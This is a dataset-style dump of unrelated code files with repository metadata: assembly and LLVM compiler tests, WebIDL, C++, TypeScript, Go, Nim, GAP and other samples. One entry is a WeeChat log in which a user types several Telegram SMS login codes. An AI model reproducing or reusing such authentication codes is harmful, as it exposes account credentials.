; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
; ---
; Author: Scott Francis
;
; Unit tests for PreamblePatcher
.MODEL small
.CODE
TooShortFunction PROC
ret
TooShortFunction ENDP
JumpShortCondFunction PROC
test cl, 1
jnz jumpspot
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
int 3
jumpspot:
nop
nop
nop
nop
mov rax, 1
ret
JumpShortCondFunction ENDP
JumpNearCondFunction PROC
test cl, 1
jnz jumpspot
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
jumpspot:
nop
nop
mov rax, 1
ret
JumpNearCondFunction ENDP
JumpAbsoluteFunction PROC
test cl, 1
jmp jumpspot
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
jumpspot:
nop
nop
mov rax, 1
ret
JumpAbsoluteFunction ENDP
CallNearRelativeFunction PROC
test cl, 1
call TooShortFunction
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
mov rdx, 0ffff1111H
nop
nop
nop
ret
CallNearRelativeFunction ENDP
END
| Assembly | 3 | cssl-unist/tweezer | Docker/gperftools/src/windows/shortproc.asm | [
"MIT"
] |
2016-02-18 11:38:12 purple_request_0 Telegram wants to verify your identity. Please enter the login code that you have received via SMS.
2016-02-18 11:38:12 [11:38]
2016-02-18 11:38:33 fsociety 84475
2016-02-18 11:38:33 - [purple_request_0] is away: Offline
2016-02-18 11:41:20 purple_request_0 Telegram wants to verify your identity. Please enter the login code that you have received via SMS.
2016-02-18 11:41:42 fsociety 27625
2016-02-18 11:41:42 - [purple_request_0] is away: Offline
2016-02-25 11:04:03 purple_request_0 Telegram wants to verify your identity. Please enter the login code that you have received via SMS.
2016-02-25 11:04:18 fsociety 38044
2016-02-25 11:04:18 - [purple_request_0] is away: Offline
2016-02-25 11:05:08 purple_request_0 Telegram wants to verify your identity. Please enter the login code that you have received via SMS.
2016-02-25 11:06:00 fsociety 28088
2016-02-25 11:06:00 - [purple_request_0] is away: Offline
2016-04-06 15:05:34 purple_request_0 Login code
2016-04-06 15:05:34 [15:05]
2016-04-06 15:05:34 purple_request_0 Enter login code
2016-04-06 15:05:34 purple_request_0 Telegram wants to verify your identity. Please enter the login code that you have received via SMS.
2016-04-06 15:05:49 fsociety 39639
2016-04-06 15:05:49 [purple_request_0] is away: Offline
2016-04-06 15:06:41 purple_request_0 Login code
2016-04-06 15:06:41 [15:06]
2016-04-06 15:06:41 purple_request_0 Enter login code
2016-04-06 15:06:41 purple_request_0 Telegram wants to verify your identity. Please enter the login code that you have received via SMS.
2016-04-06 15:06:55 fsociety 89164
2016-04-06 15:06:55 [purple_request_0] is away: Offline
| IRC log | 0 | 0x4b1dN/2016-dots | misc/weechat/logs/irc.bitlbee.purple_request_0.weechatlog | [
"MIT"
] |
; RUN: opt -objc-arc-contract -S < %s | FileCheck %s
declare i8* @llvm.objc.autoreleaseReturnValue(i8*)
declare i8* @foo1()
; Check that ARC contraction replaces the function return with the value
; returned by @llvm.objc.autoreleaseReturnValue.
; CHECK-LABEL: define i32* @autoreleaseRVTailCall(
; CHECK: %[[V0:[0-9]+]] = tail call i8* @llvm.objc.autoreleaseReturnValue(
; CHECK: %[[V1:[0-9]+]] = bitcast i8* %[[V0]] to i32*
; CHECK: ret i32* %[[V1]]
define i32* @autoreleaseRVTailCall() {
%1 = call i8* @foo1()
%2 = bitcast i8* %1 to i32*
%3 = tail call i8* @llvm.objc.autoreleaseReturnValue(i8* %1)
ret i32* %2
}
declare i32* @foo2(i32);
; CHECK-LABEL: define i32* @autoreleaseRVTailCallPhi(
; CHECK: %[[PHIVAL:.*]] = phi i8* [ %{{.*}}, %bb1 ], [ %{{.*}}, %bb2 ]
; CHECK: %[[RETVAL:.*]] = phi i32* [ %{{.*}}, %bb1 ], [ %{{.*}}, %bb2 ]
; CHECK: %[[V4:.*]] = tail call i8* @llvm.objc.autoreleaseReturnValue(i8* %[[PHIVAL]])
; CHECK: %[[V0:.*]] = bitcast i8* %[[V4]] to i32*
; CHECK: ret i32* %[[V0]]
define i32* @autoreleaseRVTailCallPhi(i1 %cond) {
entry:
br i1 %cond, label %bb1, label %bb2
bb1:
%v0 = call i32* @foo2(i32 1)
%v1 = bitcast i32* %v0 to i8*
br label %bb3
bb2:
%v2 = call i32* @foo2(i32 2)
%v3 = bitcast i32* %v2 to i8*
br label %bb3
bb3:
%phival = phi i8* [ %v1, %bb1 ], [ %v3, %bb2 ]
%retval = phi i32* [ %v0, %bb1 ], [ %v2, %bb2 ]
%v4 = tail call i8* @llvm.objc.autoreleaseReturnValue(i8* %phival)
ret i32* %retval
}
| LLVM | 4 | medismailben/llvm-project | llvm/test/Transforms/ObjCARC/contract-replace-arg-use.ll | [
"Apache-2.0"
] |
interface mixin HTMLOrSVGElement {
[SameObject] readonly attribute DOMStringMap dataset;
// TODO: Shouldn't be directly [Reflect]ed
[Reflect] attribute DOMString nonce; // intentionally no [CEReactions]
[CEReactions] attribute long tabIndex;
// We don't support FocusOptions yet
// undefined focus(optional FocusOptions options = {});
undefined focus();
undefined blur();
};
| WebIDL | 3 | Unique184/jsdom | lib/jsdom/living/nodes/HTMLOrSVGElement.webidl | [
"MIT"
] |
/******************************************************************************
* Copyright 2019 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "modules/localization/msf/local_pyramid_map/pyramid_map/pyramid_map_config.h"
#include "gtest/gtest.h"
#include "modules/localization/msf/local_pyramid_map/base_map/base_map_config.h"
int main(int argc, char** argv) {
testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
namespace apollo {
namespace localization {
namespace msf {
namespace pyramid_map {
TEST(PyramidMapConfigTestSuite, base_config_method) {
PyramidMapConfig config("lossy_full_alt");
// case 1: no config file
// std::string config_file = "pyramid_map_config_error.xml";
// config.load(config_file);
// case 2: flags are false
config.has_intensity_ = false;
config.has_intensity_var_ = false;
config.has_altitude_ = false;
config.has_altitude_var_ = false;
config.has_ground_altitude_ = false;
config.has_ground_count_ = false;
config.has_count_ = false;
std::string config_file = "pyramid_map_config.xml";
config.Save(config_file);
config.Load(config_file);
// case 3: flags are true
PyramidMapConfig config2("lossy_full_alt");
config2.has_intensity_ = true;
config2.has_intensity_var_ = true;
config2.has_altitude_ = true;
config2.has_altitude_var_ = true;
config2.has_ground_altitude_ = true;
config2.has_ground_count_ = true;
config2.has_count_ = true;
config_file = "pyramid_map_config2.xml";
config2.Save(config_file);
config2.Load(config_file);
}
} // namespace pyramid_map
} // namespace msf
} // namespace localization
} // namespace apollo
| C++ | 4 | jzjonah/apollo | modules/localization/msf/local_pyramid_map/pyramid_map/pyramid_map_config_test.cc | [
"Apache-2.0"
] |
// @sourcemap: true
var x = 10;
switch (x) {
case 5:
x++;
break;
case 10:
{
x--;
break;
}
default:
x = x *10;
}
switch (x)
{
case 5:
x++;
break;
case 10:
{
x--;
break;
}
default:
{
x = x * 10;
}
} | TypeScript | 3 | nilamjadhav/TypeScript | tests/cases/compiler/sourceMapValidationSwitch.ts | [
"Apache-2.0"
] |
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
#include "go_asm.h"
#include "textflag.h"
TEXT ·Index(SB),NOSPLIT,$0-56
MOVD a_base+0(FP), R0
MOVD a_len+8(FP), R1
MOVD b_base+24(FP), R2
MOVD b_len+32(FP), R3
MOVD $ret+48(FP), R9
B indexbody<>(SB)
TEXT ·IndexString(SB),NOSPLIT,$0-40
MOVD a_base+0(FP), R0
MOVD a_len+8(FP), R1
MOVD b_base+16(FP), R2
MOVD b_len+24(FP), R3
MOVD $ret+32(FP), R9
B indexbody<>(SB)
// input:
// R0: haystack
// R1: length of haystack
// R2: needle
// R3: length of needle (2 <= len <= 32)
// R9: address to put result
TEXT indexbody<>(SB),NOSPLIT,$0-56
// main idea is to load 'sep' into separate register(s)
// to avoid repeatedly re-load it again and again
// for sebsequent substring comparisons
SUB R3, R1, R4
// R4 contains the start of last substring for comparison
ADD R0, R4, R4
ADD $1, R0, R8
CMP $8, R3
BHI greater_8
TBZ $3, R3, len_2_7
len_8:
// R5 contains 8-byte of sep
MOVD (R2), R5
loop_8:
// R6 contains substring for comparison
CMP R4, R0
BHI not_found
MOVD.P 1(R0), R6
CMP R5, R6
BNE loop_8
B found
len_2_7:
TBZ $2, R3, len_2_3
TBZ $1, R3, len_4_5
TBZ $0, R3, len_6
len_7:
// R5 and R6 contain 7-byte of sep
MOVWU (R2), R5
// 1-byte overlap with R5
MOVWU 3(R2), R6
loop_7:
CMP R4, R0
BHI not_found
MOVWU.P 1(R0), R3
CMP R5, R3
BNE loop_7
MOVWU 2(R0), R3
CMP R6, R3
BNE loop_7
B found
len_6:
// R5 and R6 contain 6-byte of sep
MOVWU (R2), R5
MOVHU 4(R2), R6
loop_6:
CMP R4, R0
BHI not_found
MOVWU.P 1(R0), R3
CMP R5, R3
BNE loop_6
MOVHU 3(R0), R3
CMP R6, R3
BNE loop_6
B found
len_4_5:
TBZ $0, R3, len_4
len_5:
// R5 and R7 contain 5-byte of sep
MOVWU (R2), R5
MOVBU 4(R2), R7
loop_5:
CMP R4, R0
BHI not_found
MOVWU.P 1(R0), R3
CMP R5, R3
BNE loop_5
MOVBU 3(R0), R3
CMP R7, R3
BNE loop_5
B found
len_4:
// R5 contains 4-byte of sep
MOVWU (R2), R5
loop_4:
CMP R4, R0
BHI not_found
MOVWU.P 1(R0), R6
CMP R5, R6
BNE loop_4
B found
len_2_3:
TBZ $0, R3, len_2
len_3:
// R6 and R7 contain 3-byte of sep
MOVHU (R2), R6
MOVBU 2(R2), R7
loop_3:
CMP R4, R0
BHI not_found
MOVHU.P 1(R0), R3
CMP R6, R3
BNE loop_3
MOVBU 1(R0), R3
CMP R7, R3
BNE loop_3
B found
len_2:
// R5 contains 2-byte of sep
MOVHU (R2), R5
loop_2:
CMP R4, R0
BHI not_found
MOVHU.P 1(R0), R6
CMP R5, R6
BNE loop_2
found:
SUB R8, R0, R0
MOVD R0, (R9)
RET
not_found:
MOVD $-1, R0
MOVD R0, (R9)
RET
greater_8:
SUB $9, R3, R11 // len(sep) - 9, offset of R0 for last 8 bytes
CMP $16, R3
BHI greater_16
len_9_16:
MOVD.P 8(R2), R5 // R5 contains the first 8-byte of sep
SUB $16, R3, R7 // len(sep) - 16, offset of R2 for last 8 bytes
MOVD (R2)(R7), R6 // R6 contains the last 8-byte of sep
loop_9_16:
// search the first 8 bytes first
CMP R4, R0
BHI not_found
MOVD.P 1(R0), R7
CMP R5, R7
BNE loop_9_16
MOVD (R0)(R11), R7
CMP R6, R7 // compare the last 8 bytes
BNE loop_9_16
B found
greater_16:
CMP $24, R3
BHI len_25_32
len_17_24:
LDP.P 16(R2), (R5, R6) // R5 and R6 contain the first 16-byte of sep
SUB $24, R3, R10 // len(sep) - 24
MOVD (R2)(R10), R7 // R7 contains the last 8-byte of sep
loop_17_24:
// search the first 16 bytes first
CMP R4, R0
BHI not_found
MOVD.P 1(R0), R10
CMP R5, R10
BNE loop_17_24
MOVD 7(R0), R10
CMP R6, R10
BNE loop_17_24
MOVD (R0)(R11), R10
CMP R7, R10 // compare the last 8 bytes
BNE loop_17_24
B found
len_25_32:
LDP.P 16(R2), (R5, R6)
MOVD.P 8(R2), R7 // R5, R6 and R7 contain the first 24-byte of sep
SUB $32, R3, R12 // len(sep) - 32
MOVD (R2)(R12), R10 // R10 contains the last 8-byte of sep
loop_25_32:
// search the first 24 bytes first
CMP R4, R0
BHI not_found
MOVD.P 1(R0), R12
CMP R5, R12
BNE loop_25_32
MOVD 7(R0), R12
CMP R6, R12
BNE loop_25_32
MOVD 15(R0), R12
CMP R7, R12
BNE loop_25_32
MOVD (R0)(R11), R12
CMP R10, R12 // compare the last 8 bytes
BNE loop_25_32
B found
| GAS | 4 | Havoc-OS/androidprebuilts_go_linux-x86 | src/internal/bytealg/index_arm64.s | [
"BSD-3-Clause"
] |
discard """
output: '''
var data = @[(1, "one"), (2, "two")]
for (i, d) in pairs(data):
discard
for i, d in pairs(data):
discard
for i, (x, y) in pairs(data):
discard
var (a, b) = (1, 2)
var data = @[(1, "one"), (2, "two")]
for (i, d) in pairs(data):
discard
for i, d in pairs(data):
discard
for i, (x, y) in pairs(data):
discard
var (a, b) = (1, 2)
'''
"""
import macros
macro echoTypedRepr(arg: typed) =
result = newCall(ident"echo", newLit(arg.repr))
macro echoUntypedRepr(arg: untyped) =
result = newCall(ident"echo", newLit(arg.repr))
template echoTypedAndUntypedRepr(arg: untyped) =
echoTypedRepr(arg)
echoUntypedRepr(arg)
echoTypedAndUntypedRepr:
var data = @[(1,"one"), (2,"two")]
for (i, d) in pairs(data):
discard
for i, d in pairs(data):
discard
for i, (x,y) in pairs(data):
discard
var (a,b) = (1,2)
| Nimrod | 2 | JohnAD/Nim | tests/macros/tastrepr.nim | [
"MIT"
] |
= Documentation for WebAuthn Verify Account Feature
The webauthn feature implements setting up an WebAuthn authenticator
during the account verification process, and making such setup
a requirement for account verification. By default, it disables
asking for a password during account creation and verification,
allowing for completely passwordless designs, where the only
authentication option is WebAuthn. It depends on the verify_account
and webauthn features.
| RDoc | 3 | monorkin/rodauth | doc/webauthn_verify_account.rdoc | [
"MIT"
] |
#!/bin/bash
# Run the build (after purging .cache) and output the amount of time
# taken by the query execution phase
#
# run with `bin/runQueryTiming.sh`
output=$(rm -rf .cache && gatsby build | grep "run graphql queries")
echo "$output" | cut -d' ' -f 6
| Shell | 4 | JQuinnie/gatsby | benchmarks/query/bin/runQueryTiming.sh | [
"MIT"
] |
woof much a
shh 1
wow
| Dogescript | 0 | erinkeith/dogescript | test/spec/exports/assignment/lambda/source.djs | [
"MIT"
] |
\require "b"
\require "[email protected]"
| LilyPond | 0 | HolgerPeters/lyp | spec/user_files/double.ly | [
"MIT"
] |
#############################################################################
##
#W example.gd
##
## This file contains a sample of a GAP declaration file.
##
DeclareProperty( "SomeProperty", IsLeftModule );
DeclareGlobalFunction( "SomeGlobalFunction" );
#############################################################################
##
#C IsQuuxFrobnicator(<R>)
##
## <ManSection>
## <Filt Name="IsQuuxFrobnicator" Arg='R' Type='Category'/>
##
## <Description>
## Tests whether R is a quux frobnicator.
## </Description>
## </ManSection>
##
DeclareSynonym( "IsQuuxFrobnicator", IsField and IsGroup );
| GDScript | 4 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/GAP/example.gd | [
"MIT"
] |
Subsets and Splits